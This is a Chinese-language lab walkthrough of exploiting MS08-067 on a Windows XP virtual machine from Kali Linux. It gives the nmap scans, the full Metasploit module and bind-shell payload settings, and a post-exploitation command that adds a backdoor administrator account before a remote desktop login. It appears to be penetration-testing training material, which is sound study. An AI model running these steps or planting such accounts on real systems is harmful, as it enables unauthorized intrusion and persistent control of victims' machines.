任务分析
在MicrosoftWindows2000、WindowsXP和WindowsServer2003系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码,此漏洞可用于进行蠕虫攻击,目前已经有利用该漏洞的蠕虫病毒。防火墙最佳做法和标准的默认防火墙配置,有助于保护网络资源免受从企业外部发起的攻击,默认情况下能建立空连接。渗透测试安全员可通过该漏洞进行后门放置,文件管理,资源搜索,命令执行,系统信息收集等多种功能。
预备知识
攻击者利用受害者主机默认开放的SMB服务端口445,发送特殊RPC(RemoteProcedureCall远程过程调用)请求,造成可被利用实施远程代码执行。MS08-067漏洞的全称为“WindowsServer服务RPC请求缓冲区溢出漏洞”,如果用户在受影响的系统上收到特制的RPC请求,则该漏洞可能允许远程履行代码。在MicrosoftWindows2000、WindowsXP和WindowsServer2003系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码,此漏洞可用于进行蠕虫攻击。
•Ms08_067_netapi是一款Metasploit中的溢出攻击载荷,NetPathCanonicalize函数在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize函数中发生了栈缓冲区内存错误,造成可被利用实施远程代码执行,获得一个相对高的权限。
实践过程
实验主机:
WindowsXP 192.168.200.149
Kali-linux 192.168.200.147
1、nmap扫描
nmap -sV 192.168.200.149 #扫描目标主机开放端口
结果可见我的xp并没有开启445端口,那我们去靶机设置一下环境。
找到这个配置文件(没有就右击创建DWORD值,命名为它)数值改为1.
配置好后重启xp计算机,打开cmd窗口 输入 netstat -an 如:
显示listening即可。
随后我们再去检查一下端口开放:
sudo nmap -sV -O 192.168.200.149 #-sV -O进行版本和操作系统的扫描
这里显示我们的445端口和3389端口都是可突破的,主机系统类型的类型有可能是Microsoft Windows 2000 SP2 - SP4, Windows XP SP2 - SP3, or Windows Server 2003 SP0 - SP2
2、漏洞利用
进入msf模块
msfconsole
search ms08-067 #搜索ms08-067的漏洞模块
use 0 #使用模块
set RHOSTS 192.168.200.149 #把RHOSTS设置为靶机IP
set payload generic/shell_bind_tcp #设置payload
set lhost 192.168.200.147 #设置本地ip
set target 34 #设置操作系统类型
show options #查看全部配置情况
exploit #或者run运行模块
显示连接成功。
net user admin 123456 /add && net localgroup administrators admin /add #创建一个admin用户密码为123456,并给他管理员权限
没有报错,我们另起一个窗口进行远程连接
rdesktop 192.168.200.149 #远程连接
输入刚刚设置好的账号密码,显示连接成功